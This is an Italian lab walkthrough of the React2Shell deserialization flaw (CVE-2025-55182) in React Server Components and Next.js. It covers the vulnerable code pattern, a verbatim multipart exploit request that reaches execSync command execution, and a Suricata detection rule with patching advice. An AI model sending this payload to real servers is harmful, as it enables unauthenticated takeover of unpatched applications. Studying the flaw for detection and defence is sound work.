
React2Shell CVE-2025-55182: deserializzazione non sicura non autenticata in React Server Components che porta a un'affidabile esecuzione remota di codice tramite il protocollo Flight.
Difficoltà: Intermedio → Avanzato
Categoria: Web Exploitation | Deserializzazione | RCE

CVE-2025-55182, soprannominato React2Shell, è una di quelle vulnerabilità che mettono immediatamente in ansia i difensori 😬. Scoperto nel dicembre 2025, ha un punteggio CVSS di 10.0, il che già dice che non si tratta di un bug secondario.
Al suo cuore, questa vulnerabilità colpisce i React Server Components (RSC) e i framework basati su di essi, in particolare Next.js. La parte spaventosa?
👉 Esecuzione di codice remoto (RCE) non autenticata 👉 Singola richiesta HTTP creata ad arte 👉 Le configurazioni predefinite sono vulnerabili
Nessun login. Nessun permesso speciale. Solo una richiesta ben formata.
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopackQuesta stanza ci guida attraverso perché questo bug esiste, come viene sfruttato e cosa possono fare i difensori a riguardo.
Flag: Nessuna risposta richiesta.
Prima dello sfruttamento, serve chiarezza architetturale.
I React Server Components (introdotti in React 19) permettono a parti di un'app React di essere eseguite sul server, non nel browser. Ciò significa:
La comunicazione tra client e server avviene tramite il React Flight protocol. Questo protocollo serializza i dati sul client e li deserializza sul server.
Utilizza marcatori speciali:
$@ → Riferimento a un chunk
$B → Riferimento a un blob
Percorsi di proprietà tramite notazione a due punti Esempio:
$1:constructor:constructor
⚠️ Ed è proprio qui che la logica di serializzazione si incrina.
Domanda: Quale simbolo denota un riferimento a un blob?
✅ Risposta: $B
Al cuore di CVE-2025-55182 c'è un classico difetto di deserializzazione non sicura.
Diamo un'occhiata al pattern vulnerabile (non tagliare 👇):
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... logica aggiuntiva ...
return moduleExports[metadata[2]]; // LINEA VULNERABILE
}
In JavaScript, la notazione a parentesi:
obj[someKey]
non limita l'accesso solo alle proprietà esportate. Percorre l'intera catena dei prototipi.
Ora arriva l'intuizione critica 👀:
.constructorconstructor punta al costruttore FunctionFunction("codice") = esecuzione JS arbitrariaPoiché il protocollo Flight permette percorsi separati da due punti, un aggressore può inviare:
$1:constructor:constructor
Che si risolve in:
.constructor.constructor di nuovo → FunctionA questo punto, game over 🎮.
Flag: Nessuna risposta richiesta.
Ora analizziamo il PoC di maple3142, passo dopo passo.
L'aggressore invia una richiesta multipart contenente un oggetto Chunk falso:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Questo oggetto imita la struttura interna di Chunk di React.
Puntando then a Chunk.prototype.then, React viene ingannato nell'attendere una logica controllata dall'aggressore.
Il marcatore $B1337 attiva l'handler di deserializzazione dei Blob, che internamente esegue:
response._formData.get(response._prefix + id)
Ma abbiamo avvelenato:
_formData.get → Function_prefix → JS malevoloRisultante esecuzione:
Function("process.mainModule.require('child_process').execSync('xcalc');1337")
💥 Esecuzione JavaScript arbitraria raggiunta.
Il PoC esegue:
process.mainModule
.require('child_process')
.execSync('xcalc')
Questo può essere banalmente sostituito con:
Flag: Nessuna risposta richiesta.
Ecco la richiesta di sfruttamento completa (verbatim, non tagliata):
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
(…il corpo multipart continua…)
Next-Action attiva le Server Actionsmultipart/form-data è obbligatorio$@0 crea un auto-riferimento$B1337 attiva la logica dei Blobconstructor:constructor porta a FunctionNon è casuale — è una catena progettata con precisione.
React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js:
Altri: React Router (RSC), Waku, Redwood SDK
📊 Ricerca Wiz: 39% degli ambienti cloud esposti 🌐 Shodan: 571k+ server React, 444k+ Next.js
È… un bel po' 😶
Prima in Repeater, crea una Nuova Richiesta HTTP e seleziona il Target.

Usando Burp Suite Repeater, inviamo il payload:
execSync('id')

E successivamente:
execSync('whoami')

Utente: ubuntu
Flag:
{React-19.2.0}
Sfruttamento pulito, affidabile, ripetibile 💀
Buone notizie per i difensori 👮♂️ — lo sfruttamento lascia impronte.
Next-Actionmultipart/form-data"status":"resolved_model""then":"$1:__proto__:then"Questi non dovrebbero mai apparire nel traffico utente normale.
alert http any any -> $LAN_NETWORK any (
msg:"Potenziale tentativo Next.js React2Shell / CVE-2025-66478";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
{
"queries": {
"detect_rev2shell_react_server_components": {
"query": "SELECT name, version, path FROM npm_packages WHERE ...",
"interval": 3600
}
}
}
Perfetto per:

React2Shell è un esempio da manuale di:
Una volta installate le versioni corrette e seguite le raccomandazioni di npm audit, lo sfruttamento muore completamente ✅.
⚠️ Non testare mai questo al di fuori di laboratori autorizzati.
🔥 Applica sempre le patch rapidamente.
🧠 Comprendi sempre perché un bug esiste — non solo come sfruttarlo.
Se ti è piaciuto questo write-up o vuoi rimanere in contatto con il mio lavoro in cybersecurity, CTF e VAPT:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010
Buon hacking — responsabilmente 🗿🚀